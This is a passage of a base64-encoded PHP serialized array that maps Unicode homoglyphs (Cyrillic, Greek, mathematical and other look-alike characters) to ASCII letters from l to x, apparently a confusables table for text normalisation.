IvCdk5giO3M6MToibCI7czo0OiLwnZWAIjtzOjE6ImwiO3M6NDoi8J2VtCI7czoxOiJsIjtzOjQ6IvCdlqgiO3M6MToibCI7czo0OiLwnZecIjtzOjE6ImwiO3M6NDoi8J2YkCI7czoxOiJsIjtzOjQ6IvCdmYQiO3M6MToibCI7czo0OiLwnZm4IjtzOjE6ImwiO3M6MjoixpYiO3M6MToibCI7czozOiLvvYwiO3M6MToibCI7czozOiLihbwiO3M6MToibCI7czozOiLihJMiO3M6MToibCI7czo0OiLwnZClIjtzOjE6ImwiO3M6NDoi8J2RmSI7czoxOiJsIjtzOjQ6IvCdko0iO3M6MToibCI7czo0OiLwnZOBIjtzOjE6ImwiO3M6NDoi8J2TtSI7czoxOiJsIjtzOjQ6IvCdlKkiO3M6MToibCI7czo0OiLwnZWdIjtzOjE6ImwiO3M6NDoi8J2WkSI7czoxOiJsIjtzOjQ6IvCdl4UiO3M6MToibCI7czo0OiLwnZe5IjtzOjE6ImwiO3M6NDoi8J2YrSI7czoxOiJsIjtzOjQ6IvCdmaEiO3M6MToibCI7czo0OiLwnZqVIjtzOjE6ImwiO3M6Mjoix4AiO3M6MToibCI7czoyOiLOmSI7czoxOiJsIjtzOjQ6IvCdmrAiO3M6MToibCI7czo0OiLwnZuqIjtzOjE6ImwiO3M6NDoi8J2cpCI7czoxOiJsIjtzOjQ6IvCdnZ4iO3M6MToibCI7czo0OiLwnZ6YIjtzOjE6ImwiO3M6Mzoi4rKSIjtzOjE6ImwiO3M6Mjoi0IYiO3M6MToibCI7czoyOiLTgCI7czoxOiJsIjtzOjI6IteVIjtzOjE6ImwiO3M6Mjoi158iO3M6MToibCI7czoyOiLYpyI7czoxOiJsIjtzOjQ6IvCeuIAiO3M6MToibCI7czo0OiLwnrqAIjtzOjE6ImwiO3M6Mzoi77qOIjtzOjE6ImwiO3M6Mzoi77qNIjtzOjE6ImwiO3M6Mjoi34oiO3M6MToibCI7czozOiLitY8iO3M6MToibCI7czozOiLhm4EiO3M6MToibCI7czozOiLqk7IiO3M6MToibCI7czo0OiLwlryoIjtzOjE6ImwiO3M6NDoi8JCKiiI7czoxOiJsIjtzOjQ6IvCQjIkiO3M6MToibCI7czo0OiLwnYiqIjtzOjE6IkwiO3M6Mzoi4oWsIjtzOjE6IkwiO3M6Mzoi4oSSIjtzOjE6IkwiO3M6NDoi8J2QiyI7czoxOiJMIjtzOjQ6IvCdkL8iO3M6MToiTCI7czo0OiLwnZGzIjtzOjE6IkwiO3M6NDoi8J2TmyI7czoxOiJMIjtzOjQ6IvCdlI8iO3M6MToiTCI7czo0OiLwnZWDIjtzOjE6IkwiO3M6NDoi8J2VtyI7czoxOiJMIjtzOjQ6IvCdlqsiO3M6MToiTCI7czo0OiLwnZefIjtzOjE6IkwiO3M6NDoi8J2YkyI7czoxOiJMIjtzOjQ6IvCdmYciO3M6MToiTCI7czo0OiLwnZm7IjtzOjE6IkwiO3M6Mzoi4rOQIjtzOjE6IkwiO3M6Mzoi4Y+eIjtzOjE6IkwiO3M6Mzoi4ZKqIjtzOjE6IkwiO3M6Mzoi6pOhIjtzOjE6IkwiO3M6NDoi8Ja8liI7czoxOiJMIjtzOjQ6IvCRoqMiO3M6MToiTCI7czo0OiLwkaKyIjtzOjE6IkwiO3M6NDoi8JCQmyI7czoxOiJMIjtzOjQ6IvCQlKYiO3M6MToiTCI7czozOiLvvK0iO3M6MToiTSI7czozOiLiha8iO3M6MToiTSI7czozOiLihLMiO3M6MToiTSI7czo0OiLwnZCMIjtzOjE6Ik0iO3M6NDoi8J2RgCI7czoxOiJNIjtzOjQ6IvCdkbQiO3M6MToiTSI7czo0OiLwnZOcIjtzOjE6Ik0iO3M6NDoi8J2UkCI7czoxOiJNIjtzOjQ6IvCdlYQiO3M6MToiTSI7czo0OiLwnZW4IjtzOjE6Ik0iO3M6NDoi8J2WrCI7czoxOiJNIjtzOjQ6IvCdl6AiO3M6MToiTSI7czo0OiLwnZiUIjtzOjE6Ik0iO3M6NDoi8J2ZiCI7czoxOiJNIjtzOjQ6IvCdmbwiO3M6MToiTSI7czoyOiLOnCI7czoxOiJNIjtzOjQ6IvCdmrMiO3M6MToiTSI7czo0OiLwnZutIjtzOjE6Ik0iO3M6NDoi8J2cpyI7czoxOiJNIjtzOjQ6IvCdnaEiO3M6MToiTSI7czo0OiLwnZ6bIjtzOjE6Ik0iO3M6Mjoiz7oiO3M6MToiTSI7czozOiLispgiO3M6MToiTSI7czoyOiLQnCI7czoxOiJNIjtzOjM6IuGOtyI7czoxOiJNIjtzOjM6IuGXsCI7czoxOiJNIjtzOjM6IuGbliI7czoxOiJNIjtzOjM6IuqTnyI7czoxOiJNIjtzOjQ6IvCQirAiO3M6MToiTSI7czo0OiLwkIyRIjtzOjE6Ik0iO3M6NDoi8J2QpyI7czoxOiJuIjtzOjQ6IvCdkZsiO3M6MToibiI7czo0OiLwnZKPIjtzOjE6Im4iO3M6NDoi8J2TgyI7czoxOiJuIjtzOjQ6IvCdk7ciO3M6MToibiI7czo0OiLwnZSrIjtzOjE6Im4iO3M6NDoi8J2VnyI7czoxOiJuIjtzOjQ6IvCdlpMiO3M6MToibiI7czo0OiLwnZeHIjtzOjE6Im4iO3M6NDoi8J2XuyI7czoxOiJuIjtzOjQ6IvCdmK8iO3M6MToibiI7czo0OiLwnZmjIjtzOjE6Im4iO3M6NDoi8J2alyI7czoxOiJuIjtzOjI6ItW4IjtzOjE6Im4iO3M6Mjoi1bwiO3M6MToibiI7czozOiLvvK4iO3M6MToiTiI7czozOiLihJUiO3M6MToiTiI7czo0OiLwnZCNIjtzOjE6Ik4iO3M6NDoi8J2RgSI7czoxOiJOIjtzOjQ6IvCdkbUiO3M6MToiTiI7czo0OiLwnZKpIjtzOjE6Ik4iO3M6NDoi8J2TnSI7czoxOiJOIjtzOjQ6IvCdlJEiO3M6MToiTiI7czo0OiLwnZW5IjtzOjE6Ik4iO3M6NDoi8J2WrSI7czoxOiJOIjtzOjQ6IvCdl6EiO3M6MToiTiI7czo0OiLwnZiVIjtzOjE6Ik4iO3M6NDoi8J2ZiSI7czoxOiJOIjtzOjQ6IvCdmb0iO3M6MToiTiI7czoyOiLOnSI7czoxOiJOIjtzOjQ6IvCdmrQiO3M6MToiTiI7czo0OiLwnZuuIjtzOjE6Ik4iO3M6NDoi8J2cqCI7czoxOiJOIjtzOjQ6IvCdnaIiO3M6MToiTiI7czo0OiLwnZ6cIjtzOjE6Ik4iO3M6Mzoi4rKaIjtzOjE6Ik4iO3M6Mzoi6pOgIjtzOjE6Ik4iO3M6NDoi8JCUkyI7czoxOiJOIjtzOjM6IuCwgiI7czoxOiJvIjtzOjM6IuCygiI7czoxOiJvIjtzOjM6IuC0giI7czoxOiJvIjtzOjM6IuC2giI7czoxOiJvIjtzOjM6IuClpiI7czoxOiJvIjtzOjM6IuCppiI7czoxOiJvIjtzOjM6IuCrpiI7czoxOiJvIjtzOjM6IuCvpiI7czoxOiJvIjtzOjM6IuCxpiI7czoxOiJvIjtzOjM6IuCzpiI7czoxOiJvIjtzOjM6IuC1piI7czoxOiJvIjtzOjM6IuC5kCI7czoxOiJvIjtzOjM6IuC7kCI7czoxOiJvIjtzOjM6IuGBgCI7czoxOiJvIjtzOjI6ItmlIjtzOjE6Im8iO3M6Mjoi27UiO3M6MToibyI7czozOiLvvY8iO3M6MToibyI7czozOiLihLQiO3M6MToibyI7czo0OiLwnZCoIjtzOjE6Im8iO3M6NDoi8J2RnCI7czoxOiJvIjtzOjQ6IvCdkpAiO3M6MToibyI7czo0OiLwnZO4IjtzOjE6Im8iO3M6NDoi8J2UrCI7czoxOiJvIjtzOjQ6IvCdlaAiO3M6MToibyI7czo0OiLwnZaUIjtzOjE6Im8iO3M6NDoi8J2XiCI7czoxOiJvIjtzOjQ6IvCdl7wiO3M6MToibyI7czo0OiLwnZiwIjtzOjE6Im8iO3M6NDoi8J2ZpCI7czoxOiJvIjtzOjQ6IvCdmpgiO3M6MToibyI7czozOiLhtI8iO3M6MToibyI7czozOiLhtJEiO3M6MToibyI7czozOiLqrL0iO3M6MToibyI7czoyOiLOvyI7czoxOiJvIjtzOjQ6IvCdm5AiO3M6MToibyI7czo0OiLwnZyKIjtzOjE6Im8iO3M6NDoi8J2dhCI7czoxOiJvIjtzOjQ6IvCdnb4iO3M6MToibyI7czo0OiLwnZ64IjtzOjE6Im8iO3M6Mjoiz4MiO3M6MToibyI7czo0OiLwnZuUIjtzOjE6Im8iO3M6NDoi8J2cjiI7czoxOiJvIjtzOjQ6IvCdnYgiO3M6MToibyI7czo0OiLwnZ6CIjtzOjE6Im8iO3M6NDoi8J2evCI7czoxOiJvIjtzOjM6IuKynyI7czoxOiJvIjtzOjI6ItC+IjtzOjE6Im8iO3M6Mzoi4YO/IjtzOjE6Im8iO3M6Mjoi1oUiO3M6MToibyI7czoyOiLXoSI7czoxOiJvIjtzOjI6ItmHIjtzOjE6Im8iO3M6NDoi8J64pCI7czoxOiJvIjtzOjQ6IvCeuaQiO3M6MToibyI7czo0OiLwnrqEIjtzOjE6Im8iO3M6Mzoi77urIjtzOjE6Im8iO3M6Mzoi77usIjtzOjE6Im8iO3M6Mzoi77uqIjtzOjE6Im8iO3M6Mzoi77upIjtzOjE6Im8iO3M6Mjoi2r4iO3M6MToibyI7czozOiLvrqwiO3M6MToibyI7czozOiLvrq0iO3M6MToibyI7czozOiLvrqsiO3M6MToibyI7czozOiLvrqoiO3M6MToibyI7czoyOiLbgSI7czoxOiJvIjtzOjM6Iu+uqCI7czoxOiJvIjtzOjM6Iu+uqSI7czoxOiJvIjtzOjM6Iu+upyI7czoxOiJvIjtzOjM6Iu+upiI7czoxOiJvIjtzOjI6ItuVIjtzOjE6Im8iO3M6Mzoi4LSgIjtzOjE6Im8iO3M6Mzoi4YCdIjtzOjE6Im8iO3M6NDoi8JCTqiI7czoxOiJvIjtzOjQ6IvCRo4giO3M6MToibyI7czo0OiLwkaOXIjtzOjE6Im8iO3M6NDoi8JCQrCI7czoxOiJvIjtpOjA7czoxOiJPIjtzOjI6It+AIjtzOjE6Ik8iO3M6Mzoi4KemIjtzOjE6Ik8iO3M6Mzoi4K2mIjtzOjE6Ik8iO3M6Mzoi44CHIjtzOjE6Ik8iO3M6NDoi8JGTkCI7czoxOiJPIjtzOjQ6IvCRo6AiO3M6MToiTyI7czo0OiLwnZ+OIjtzOjE6Ik8iO3M6NDoi8J2fmCI7czoxOiJPIjtzOjQ6IvCdn6IiO3M6MToiTyI7czo0OiLwnZ+sIjtzOjE6Ik8iO3M6NDoi8J2ftiI7czoxOiJPIjtzOjM6Iu+8ryI7czoxOiJPIjtzOjQ6IvCdkI4iO3M6MToiTyI7czo0OiLwnZGCIjtzOjE6Ik8iO3M6NDoi8J2RtiI7czoxOiJPIjtzOjQ6IvCdkqoiO3M6MToiTyI7czo0OiLwnZOeIjtzOjE6Ik8iO3M6NDoi8J2UkiI7czoxOiJPIjtzOjQ6IvCdlYYiO3M6MToiTyI7czo0OiLwnZW6IjtzOjE6Ik8iO3M6NDoi8J2WriI7czoxOiJPIjtzOjQ6IvCdl6IiO3M6MToiTyI7czo0OiLwnZiWIjtzOjE6Ik8iO3M6NDoi8J2ZiiI7czoxOiJPIjtzOjQ6IvCdmb4iO3M6MToiTyI7czoyOiLOnyI7czoxOiJPIjtzOjQ6IvCdmrYiO3M6MToiTyI7czo0OiLwnZuwIjtzOjE6Ik8iO3M6NDoi8J2cqiI7czoxOiJPIjtzOjQ6IvCdnaQiO3M6MToiTyI7czo0OiLwnZ6eIjtzOjE6Ik8iO3M6Mzoi4rKeIjtzOjE6Ik8iO3M6Mjoi0J4iO3M6MToiTyI7czoyOiLVlSI7czoxOiJPIjtzOjM6IuK1lCI7czoxOiJPIjtzOjM6IuGLkCI7czoxOiJPIjtzOjM6IuCsoCI7czoxOiJPIjtzOjQ6IvCQk4IiO3M6MToiTyI7czozOiLqk7MiO3M6MToiTyI7czo0OiLwkaK1IjtzOjE6Ik8iO3M6NDoi8JCKkiI7czoxOiJPIjtzOjQ6IvCQiqsiO3M6MToiTyI7czo0OiLwkJCEIjtzOjE6Ik8iO3M6NDoi8JCUliI7czoxOiJPIjtzOjM6IuKBsCI7czoxOiK6IjtzOjM6IuG1kiI7czoxOiK6IjtzOjI6IsWQIjtzOjE6ItYiO3M6Mzoi4o20IjtzOjE6InAiO3M6Mzoi772QIjtzOjE6InAiO3M6NDoi8J2QqSI7czoxOiJwIjtzOjQ6IvCdkZ0iO3M6MToicCI7czo0OiLwnZKRIjtzOjE6InAiO3M6NDoi8J2ThSI7czoxOiJwIjtzOjQ6IvCdk7kiO3M6MToicCI7czo0OiLwnZStIjtzOjE6InAiO3M6NDoi8J2VoSI7czoxOiJwIjtzOjQ6IvCdlpUiO3M6MToicCI7czo0OiLwnZeJIjtzOjE6InAiO3M6NDoi8J2XvSI7czoxOiJwIjtzOjQ6IvCdmLEiO3M6MToicCI7czo0OiLwnZmlIjtzOjE6InAiO3M6NDoi8J2amSI7czoxOiJwIjtzOjI6Is+BIjtzOjE6InAiO3M6Mjoiz7EiO3M6MToicCI7czo0OiLwnZuSIjtzOjE6InAiO3M6NDoi8J2boCI7czoxOiJwIjtzOjQ6IvCdnIwiO3M6MToicCI7czo0OiLwnZyaIjtzOjE6InAiO3M6NDoi8J2dhiI7czoxOiJwIjtzOjQ6IvCdnZQiO3M6MToicCI7czo0OiLwnZ6AIjtzOjE6InAiO3M6NDoi8J2ejiI7czoxOiJwIjtzOjQ6IvCdnroiO3M6MToicCI7czo0OiLwnZ+IIjtzOjE6InAiO3M6Mzoi4rKjIjtzOjE6InAiO3M6Mjoi0YAiO3M6MToicCI7czozOiLvvLAiO3M6MToiUCI7czozOiLihJkiO3M6MToiUCI7czo0OiLwnZCPIjtzOjE6IlAiO3M6NDoi8J2RgyI7czoxOiJQIjtzOjQ6IvCdkbciO3M6MToiUCI7czo0OiLwnZKrIjtzOjE6IlAiO3M6NDoi8J2TnyI7czoxOiJQIjtzOjQ6IvCdlJMiO3M6MToiUCI7czo0OiLwnZW7IjtzOjE6IlAiO3M6NDoi8J2WryI7czoxOiJQIjtzOjQ6IvCdl6MiO3M6MToiUCI7czo0OiLwnZiXIjtzOjE6IlAiO3M6NDoi8J2ZiyI7czoxOiJQIjtzOjQ6IvCdmb8iO3M6MToiUCI7czoyOiLOoSI7czoxOiJQIjtzOjQ6IvCdmrgiO3M6MToiUCI7czo0OiLwnZuyIjtzOjE6IlAiO3M6NDoi8J2crCI7czoxOiJQIjtzOjQ6IvCdnaYiO3M6MToiUCI7czo0OiLwnZ6gIjtzOjE6IlAiO3M6Mzoi4rKiIjtzOjE6IlAiO3M6Mjoi0KAiO3M6MToiUCI7czozOiLhj6IiO3M6MToiUCI7czozOiLhka0iO3M6MToiUCI7czozOiLqk5EiO3M6MToiUCI7czo0OiLwkIqVIjtzOjE6IlAiO3M6NDoi8J2QqiI7czoxOiJxIjtzOjQ6IvCdkZ4iO3M6MToicSI7czo0OiLwnZKSIjtzOjE6InEiO3M6NDoi8J2ThiI7czoxOiJxIjtzOjQ6IvCdk7oiO3M6MToicSI7czo0OiLwnZSuIjtzOjE6InEiO3M6NDoi8J2VoiI7czoxOiJxIjtzOjQ6IvCdlpYiO3M6MToicSI7czo0OiLwnZeKIjtzOjE6InEiO3M6NDoi8J2XviI7czoxOiJxIjtzOjQ6IvCdmLIiO3M6MToicSI7czo0OiLwnZmmIjtzOjE6InEiO3M6NDoi8J2amiI7czoxOiJxIjtzOjI6ItSbIjtzOjE6InEiO3M6Mjoi1aMiO3M6MToicSI7czoyOiLVpiI7czoxOiJxIjtzOjM6IuKEmiI7czoxOiJRIjtzOjQ6IvCdkJAiO3M6MToiUSI7czo0OiLwnZGEIjtzOjE6IlEiO3M6NDoi8J2RuCI7czoxOiJRIjtzOjQ6IvCdkqwiO3M6MToiUSI7czo0OiLwnZOgIjtzOjE6IlEiO3M6NDoi8J2UlCI7czoxOiJRIjtzOjQ6IvCdlbwiO3M6MToiUSI7czo0OiLwnZawIjtzOjE6IlEiO3M6NDoi8J2XpCI7czoxOiJRIjtzOjQ6IvCdmJgiO3M6MToiUSI7czo0OiLwnZmMIjtzOjE6IlEiO3M6NDoi8J2agCI7czoxOiJRIjtzOjM6IuK1lSI7czoxOiJRIjtzOjQ6IvCdkKsiO3M6MToiciI7czo0OiLwnZGfIjtzOjE6InIiO3M6NDoi8J2SkyI7czoxOiJyIjtzOjQ6IvCdk4ciO3M6MToiciI7czo0OiLwnZO7IjtzOjE6InIiO3M6NDoi8J2UryI7czoxOiJyIjtzOjQ6IvCdlaMiO3M6MToiciI7czo0OiLwnZaXIjtzOjE6InIiO3M6NDoi8J2XiyI7czoxOiJyIjtzOjQ6IvCdl78iO3M6MToiciI7czo0OiLwnZizIjtzOjE6InIiO3M6NDoi8J2ZpyI7czoxOiJyIjtzOjQ6IvCdmpsiO3M6MToiciI7czozOiLqrYciO3M6MToiciI7czozOiLqrYgiO3M6MToiciI7czozOiLhtKYiO3M6MToiciI7czozOiLisoUiO3M6MToiciI7czoyOiLQsyI7czoxOiJyIjtzOjM6IuqugSI7czoxOiJyIjtzOjQ6IvCdiJYiO3M6MToiUiI7czozOiLihJsiO3M6MToiUiI7czozOiLihJwiO3M6MToiUiI7czozOiLihJ0iO3M6MToiUiI7czo0OiLwnZCRIjtzOjE6IlIiO3M6NDoi8J2RhSI7czoxOiJSIjtzOjQ6IvCdkbkiO3M6MToiUiI7czo0OiLwnZOhIjtzOjE6IlIiO3M6NDoi8J2VvSI7czoxOiJSIjtzOjQ6IvCdlrEiO3M6MToiUiI7czo0OiLwnZelIjtzOjE6IlIiO3M6NDoi8J2YmSI7czoxOiJSIjtzOjQ6IvCdmY0iO3M6MToiUiI7czo0OiLwnZqBIjtzOjE6IlIiO3M6MjoixqYiO3M6MToiUiI7czozOiLhjqEiO3M6MToiUiI7czozOiLhj5IiO3M6MToiUiI7czo0OiLwkJK0IjtzOjE6IlIiO3M6Mzoi4ZaHIjtzOjE6IlIiO3M6Mzoi6pOjIjtzOjE6IlIiO3M6NDoi8Ja8tSI7czoxOiJSIjtzOjM6Iu+9kyI7czoxOiJzIjtzOjQ6IvCdkKwiO3M6MToicyI7czo0OiLwnZGgIjtzOjE6InMiO3M6NDoi8J2SlCI7czoxOiJzIjtzOjQ6IvCdk4giO3M6MToicyI7czo0OiLwnZO8IjtzOjE6InMiO3M6NDoi8J2UsCI7czoxOiJzIjtzOjQ6IvCdlaQiO3M6MToicyI7czo0OiLwnZaYIjtzOjE6InMiO3M6NDoi8J2XjCI7czoxOiJzIjtzOjQ6IvCdmIAiO3M6MToicyI7czo0OiLwnZi0IjtzOjE6InMiO3M6NDoi8J2ZqCI7czoxOiJzIjtzOjQ6IvCdmpwiO3M6MToicyI7czozOiLqnLEiO3M6MToicyI7czoyOiLGvSI7czoxOiJzIjtzOjI6ItGVIjtzOjE6InMiO3M6Mzoi6q6qIjtzOjE6InMiO3M6NDoi8JGjgSI7czoxOiJzIjtzOjQ6IvCQkYgiO3M6MToicyI7czozOiLvvLMiO3M6MToiUyI7czo0OiLwnZCSIjtzOjE6IlMiO3M6NDoi8J2RhiI7czoxOiJTIjtzOjQ6IvCdkboiO3M6MToiUyI7czo0OiLwnZKuIjtzOjE6IlMiO3M6NDoi8J2ToiI7czoxOiJTIjtzOjQ6IvCdlJYiO3M6MToiUyI7czo0OiLwnZWKIjtzOjE6IlMiO3M6NDoi8J2VviI7czoxOiJTIjtzOjQ6IvCdlrIiO3M6MToiUyI7czo0OiLwnZemIjtzOjE6IlMiO3M6NDoi8J2YmiI7czoxOiJTIjtzOjQ6IvCdmY4iO3M6MToiUyI7czo0OiLwnZqCIjtzOjE6IlMiO3M6Mjoi0IUiO3M6MToiUyI7czoyOiLVjyI7czoxOiJTIjtzOjM6IuGPlSI7czoxOiJTIjtzOjM6IuGPmiI7czoxOiJTIjtzOjM6IuqToiI7czoxOiJTIjtzOjQ6IvCWvLoiO3M6MToiUyI7czo0OiLwkIqWIjtzOjE6IlMiO3M6NDoi8JCQoCI7czoxOiJTIjtzOjM6IuqetSI7czoxOiLfIjtzOjI6Is6yIjtzOjE6It8iO3M6Mjoiz5AiO3M6MToi3yI7czo0OiLwnZuDIjtzOjE6It8iO3M6NDoi8J2bvSI7czoxOiLfIjtzOjQ6IvCdnLciO3M6MToi3yI7czo0OiLwnZ2xIjtzOjE6It8iO3M6NDoi8J2eqyI7czoxOiLfIjtzOjM6IuGPsCI7czoxOiLfIjtzOjQ6IvCdkK0iO3M6MToidCI7czo0OiLwnZGhIjtzOjE6InQiO3M6NDoi8J2SlSI7czoxOiJ0IjtzOjQ6IvCdk4kiO3M6MToidCI7czo0OiLwnZO9IjtzOjE6InQiO3M6NDoi8J2UsSI7czoxOiJ0IjtzOjQ6IvCdlaUiO3M6MToidCI7czo0OiLwnZaZIjtzOjE6InQiO3M6NDoi8J2XjSI7czoxOiJ0IjtzOjQ6IvCdmIEiO3M6MToidCI7czo0OiLwnZi1IjtzOjE6InQiO3M6NDoi8J2ZqSI7czoxOiJ0IjtzOjQ6IvCdmp0iO3M6MToidCI7czozOiLiiqQiO3M6MToiVCI7czozOiLin5kiO3M6MToiVCI7czo0OiLwn52oIjtzOjE6IlQiO3M6Mzoi77y0IjtzOjE6IlQiO3M6NDoi8J2QkyI7czoxOiJUIjtzOjQ6IvCdkYciO3M6MToiVCI7czo0OiLwnZG7IjtzOjE6IlQiO3M6NDoi8J2SryI7czoxOiJUIjtzOjQ6IvCdk6MiO3M6MToiVCI7czo0OiLwnZSXIjtzOjE6IlQiO3M6NDoi8J2ViyI7czoxOiJUIjtzOjQ6IvCdlb8iO3M6MToiVCI7czo0OiLwnZazIjtzOjE6IlQiO3M6NDoi8J2XpyI7czoxOiJUIjtzOjQ6IvCdmJsiO3M6MToiVCI7czo0OiLwnZmPIjtzOjE6IlQiO3M6NDoi8J2agyI7czoxOiJUIjtzOjI6Is6kIjtzOjE6IlQiO3M6NDoi8J2auyI7czoxOiJUIjtzOjQ6IvCdm7UiO3M6MToiVCI7czo0OiLwnZyvIjtzOjE6IlQiO3M6NDoi8J2dqSI7czoxOiJUIjtzOjQ6IvCdnqMiO3M6MToiVCI7czozOiLisqYiO3M6MToiVCI7czoyOiLQoiI7czoxOiJUIjtzOjM6IuGOoiI7czoxOiJUIjtzOjM6IuqTlCI7czoxOiJUIjtzOjQ6IvCWvIoiO3M6MToiVCI7czo0OiLwkaK8IjtzOjE6IlQiO3M6NDoi8JCKlyI7czoxOiJUIjtzOjQ6IvCQirEiO3M6MToiVCI7czo0OiLwkIyVIjtzOjE6IlQiO3M6NDoi8J2QriI7czoxOiJ1IjtzOjQ6IvCdkaIiO3M6MToidSI7czo0OiLwnZKWIjtzOjE6InUiO3M6NDoi8J2TiiI7czoxOiJ1IjtzOjQ6IvCdk74iO3M6MToidSI7czo0OiLwnZSyIjtzOjE6InUiO3M6NDoi8J2VpiI7czoxOiJ1IjtzOjQ6IvCdlpoiO3M6MToidSI7czo0OiLwnZeOIjtzOjE6InUiO3M6NDoi8J2YgiI7czoxOiJ1IjtzOjQ6IvCdmLYiO3M6MToidSI7czo0OiLwnZmqIjtzOjE6InUiO3M6NDoi8J2aniI7czoxOiJ1IjtzOjM6IuqenyI7czoxOiJ1IjtzOjM6IuG0nCI7czoxOiJ1IjtzOjM6IuqtjiI7czoxOiJ1IjtzOjM6IuqtkiI7czoxOiJ1IjtzOjI6IsqLIjtzOjE6InUiO3M6Mjoiz4UiO3M6MToidSI7czo0OiLwnZuWIjtzOjE6InUiO3M6NDoi8J2ckCI7czoxOiJ1IjtzOjQ6IvCdnYoiO3M6MToidSI7czo0OiLwnZ6EIjtzOjE6InUiO3M6NDoi8J2eviI7czoxOiJ1IjtzOjI6ItW9IjtzOjE6InUiO3M6NDoi8JCTtiI7czoxOiJ1IjtzOjQ6IvCRo5giO3M6MToidSI7czozOiLiiKoiO3M6MToiVSI7czozOiLii4MiO3M6MToiVSI7czo0OiLwnZCUIjtzOjE6IlUiO3M6NDoi8J2RiCI7czoxOiJVIjtzOjQ6IvCdkbwiO3M6MToiVSI7czo0OiLwnZKwIjtzOjE6IlUiO3M6NDoi8J2TpCI7czoxOiJVIjtzOjQ6IvCdlJgiO3M6MToiVSI7czo0OiLwnZWMIjtzOjE6IlUiO3M6NDoi8J2WgCI7czoxOiJVIjtzOjQ6IvCdlrQiO3M6MToiVSI7czo0OiLwnZeoIjtzOjE6IlUiO3M6NDoi8J2YnCI7czoxOiJVIjtzOjQ6IvCdmZAiO3M6MToiVSI7czo0OiLwnZqEIjtzOjE6IlUiO3M6Mjoi1Y0iO3M6MToiVSI7czozOiLhiIAiO3M6MToiVSI7czo0OiLwkJOOIjtzOjE6IlUiO3M6Mzoi4ZGMIjtzOjE6IlUiO3M6Mzoi6pO0IjtzOjE6IlUiO3M6NDoi8Ja9giI7czoxOiJVIjtzOjQ6IvCRorgiO3M6MToiVSI7czozOiLiiKgiO3M6MToidiI7czozOiLii4EiO3M6MToidiI7czozOiLvvZYiO3M6MToidiI7czozOiLihbQiO3M6MToidiI7czo0OiLwnZCvIjtzOjE6InYiO3M6NDoi8J2RoyI7czoxOiJ2IjtzOjQ6IvCdkpciO3M6MToidiI7czo0OiLwnZOLIjtzOjE6InYiO3M6NDoi8J2TvyI7czoxOiJ2IjtzOjQ6IvCdlLMiO3M6MToidiI7czo0OiLwnZWnIjtzOjE6InYiO3M6NDoi8J2WmyI7czoxOiJ2IjtzOjQ6IvCdl48iO3M6MToidiI7czo0OiLwnZiDIjtzOjE6InYiO3M6NDoi8J2YtyI7czoxOiJ2IjtzOjQ6IvCdmasiO3M6MToidiI7czo0OiLwnZqfIjtzOjE6InYiO3M6Mzoi4bSgIjtzOjE6InYiO3M6Mjoizr0iO3M6MToidiI7czo0OiLwnZuOIjtzOjE6InYiO3M6NDoi8J2ciCI7czoxOiJ2IjtzOjQ6IvCdnYIiO3M6MToidiI7czo0OiLwnZ28IjtzOjE6InYiO3M6NDoi8J2etiI7czoxOiJ2IjtzOjI6ItG1IjtzOjE6InYiO3M6Mjoi15giO3M6MToidiI7czo0OiLwkZyGIjtzOjE6InYiO3M6Mzoi6q6pIjtzOjE6InYiO3M6NDoi8JGjgCI7czoxOiJ2IjtzOjQ6IvCdiI0iO3M6MToiViI7czoyOiLZpyI7czoxOiJWIjtzOjI6Itu3IjtzOjE6IlYiO3M6Mzoi4oWkIjtzOjE6IlYiO3M6NDoi8J2QlSI7czoxOiJWIjtzOjQ6IvCdkYkiO3M6MToiViI7czo0OiLwnZG9IjtzOjE6IlYiO3M6NDoi8J2SsSI7czoxOiJWIjtzOjQ6IvCdk6UiO3M6MToiViI7czo0OiLwnZSZIjtzOjE6IlYiO3M6NDoi8J2VjSI7czoxOiJWIjtzOjQ6IvCdloEiO3M6MToiViI7czo0OiLwnZa1IjtzOjE6IlYiO3M6NDoi8J2XqSI7czoxOiJWIjtzOjQ6IvCdmJ0iO3M6MToiViI7czo0OiLwnZmRIjtzOjE6IlYiO3M6NDoi8J2ahSI7czoxOiJWIjtzOjI6ItG0IjtzOjE6IlYiO3M6Mzoi4rS4IjtzOjE6IlYiO3M6Mzoi4Y+ZIjtzOjE6IlYiO3M6Mzoi4ZCvIjtzOjE6IlYiO3M6Mzoi6pufIjtzOjE6IlYiO3M6Mzoi6pOmIjtzOjE6IlYiO3M6NDoi8Ja8iCI7czoxOiJWIjtzOjQ6IvCRoqAiO3M6MToiViI7czo0OiLwkJSdIjtzOjE6IlYiO3M6Mjoiya8iO3M6MToidyI7czo0OiLwnZCwIjtzOjE6InciO3M6NDoi8J2RpCI7czoxOiJ3IjtzOjQ6IvCdkpgiO3M6MToidyI7czo0OiLwnZOMIjtzOjE6InciO3M6NDoi8J2UgCI7czoxOiJ3IjtzOjQ6IvCdlLQiO3M6MToidyI7czo0OiLwnZWoIjtzOjE6InciO3M6NDoi8J2WnCI7czoxOiJ3IjtzOjQ6IvCdl5AiO3M6MToidyI7czo0OiLwnZiEIjtzOjE6InciO3M6NDoi8J2YuCI7czoxOiJ3IjtzOjQ6IvCdmawiO3M6MToidyI7czo0OiLwnZqgIjtzOjE6InciO3M6Mzoi4bShIjtzOjE6InciO3M6Mjoi0aEiO3M6MToidyI7czoyOiLUnSI7czoxOiJ3IjtzOjI6ItWhIjtzOjE6InciO3M6NDoi8JGciiI7czoxOiJ3IjtzOjQ6IvCRnI4iO3M6MToidyI7czo0OiLwkZyPIjtzOjE6InciO3M6Mzoi6q6DIjtzOjE6InciO3M6NDoi8JGjryI7czoxOiJXIjtzOjQ6IvCRo6YiO3M6MToiVyI7czo0OiLwnZCWIjtzOjE6IlciO3M6NDoi8J2RiiI7czoxOiJXIjtzOjQ6IvCdkb4iO3M6MToiVyI7czo0OiLwnZKyIjtzOjE6IlciO3M6NDoi8J2TpiI7czoxOiJXIjtzOjQ6IvCdlJoiO3M6MToiVyI7czo0OiLwnZWOIjtzOjE6IlciO3M6NDoi8J2WgiI7czoxOiJXIjtzOjQ6IvCdlrYiO3M6MToiVyI7czo0OiLwnZeqIjtzOjE6IlciO3M6NDoi8J2YniI7czoxOiJXIjtzOjQ6IvCdmZIiO3M6MToiVyI7czo0OiLwnZqGIjtzOjE6IlciO3M6Mjoi1JwiO3M6MToiVyI7czozOiLhjrMiO3M6MToiVyI7czozOiLhj5QiO3M6MToiVyI7czozOiLqk6oiO3M6MToiVyI7czozOiLhma4iO3M6MToieCI7czoyOiLDlyI7czoxOiJ4IjtzOjM6IuKkqyI7czoxOiJ4IjtzOjM6IuKkrCI7czoxOiJ4IjtzOjM6IuKoryI7czoxO